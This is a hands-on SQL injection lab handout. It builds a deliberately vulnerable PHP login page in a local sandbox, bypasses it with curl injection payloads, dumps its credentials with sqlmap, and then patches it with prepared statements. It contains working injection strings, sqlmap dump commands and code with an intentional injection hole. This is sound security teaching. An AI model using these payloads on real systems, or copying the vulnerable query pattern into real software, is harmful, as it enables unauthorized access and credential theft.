Lab 9 — SQL Injection (SQLi)

You will exploit a deliberately vulnerable PHP login page in a local sandbox and then patch it. **Lab against your own container only.**

Run on https://killercoda.com/playgrounds/scenario/ubuntu

Required software (free, apt): - `sqlite3`, `php-cli`, `php-sqlite3` - `curl` (pre-installed) - `sqlmap`

Step 1 — Install the stack

```
apt update && apt install -y sqlite3 php-cli php-sqlite3 sqlmap
```

Step 2 — Build a vulnerable login page

```
mkdir -p /tmp/web && cd /tmp/web
```

```
sqlite3 users.db "CREATE TABLE users(u TEXT, p TEXT); INSERT INTO users VALUES('admin','s3cret'),('bob','bob');"
```

```
cat > login.php <<'EOF'
```

```
<?php

$db = new PDO('sqlite:users.db');

$u = $_GET['u'] ?? '';

$p = $_GET['p'] ?? '';

$q = "SELECT * FROM users WHERE u='$u' AND p='$p'";

echo "QUERY: $q\n";

foreach ($db->query($q) as $row) echo "WELCOME ".$row['u']."\n";

EOF

php -S 127.0.0.1:8080 -t . &
```

```
sleep 1
```

The bug: parameters are concatenated into SQL.

Step 3 — Normal login

```
curl -s "http://127.0.0.1:8080/login.php?u=admin&p=s3cret"
curl -s "http://127.0.0.1:8080/login.php?u=admin&p=wrong"
```

Right password works; wrong password fails. Predictable.

Step 4 — Manual SQL injection

```
curl -s "http://127.0.0.1:8080/login.php?u=admin'--&p=anything"
```

The injected `'--` closes the string and comments out the password check. You log in **without** the password.

Try the universal payload:

```
curl -s "http://127.0.0.1:8080/login.php?
u=x'+OR+'1'='1&p=x'+OR+'1'='1"
```

Step 5 — Automate with sqlmap

```
sqlmap -u "http://127.0.0.1:8080/login.php?u=admin&p=x" --batch --dbs
```

```
sqlmap -u "http://127.0.0.1:8080/login.php?u=admin&p=x" --batch --
dump -T users
```

sqlmap fingerprints the DB, enumerates tables, and dumps the credentials.

Step 6 — Patch with parameterised queries

```
cat > login.php <<'EOF'
```

```
<?php
```

```
$db = new PDO('sqlite:users.db');
```

```
$stmt = $db->prepare("SELECT * FROM users WHERE u=:u AND p=:p");
```

```
$stmt->execute([':u'=>$_GET['u'] ?? '', ':p'=>$_GET['p'] ?? '']);
```

```
foreach ($stmt as $row) echo "WELCOME ".$row['u']."\n";
```

```
EOF
```

Re-run the injection — it now fails. Bind parameters defeat SQLi by design.

```
curl -s "http://127.0.0.1:8080/login.php?u=admin'--&p=x"
```

Free online tools

- **OWASP Juice Shop (online)** — https://juice-shop.herokuapp.com
- **PortSwigger Web Security Academy** (free) — https://portswigger.net/web-security
- **HackTheBox starting point** — https://www.hackthebox.com/
- **sqlmap docs** — https://github.com/sqlmapproject/sqlmap
- **OWASP SQLi prevention cheat sheet** — https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

---

What you learned

- Why string concatenation into SQL is always wrong.
- How sqlmap automates exploitation in seconds.
- That prepared statements (bind variables) are the single fix.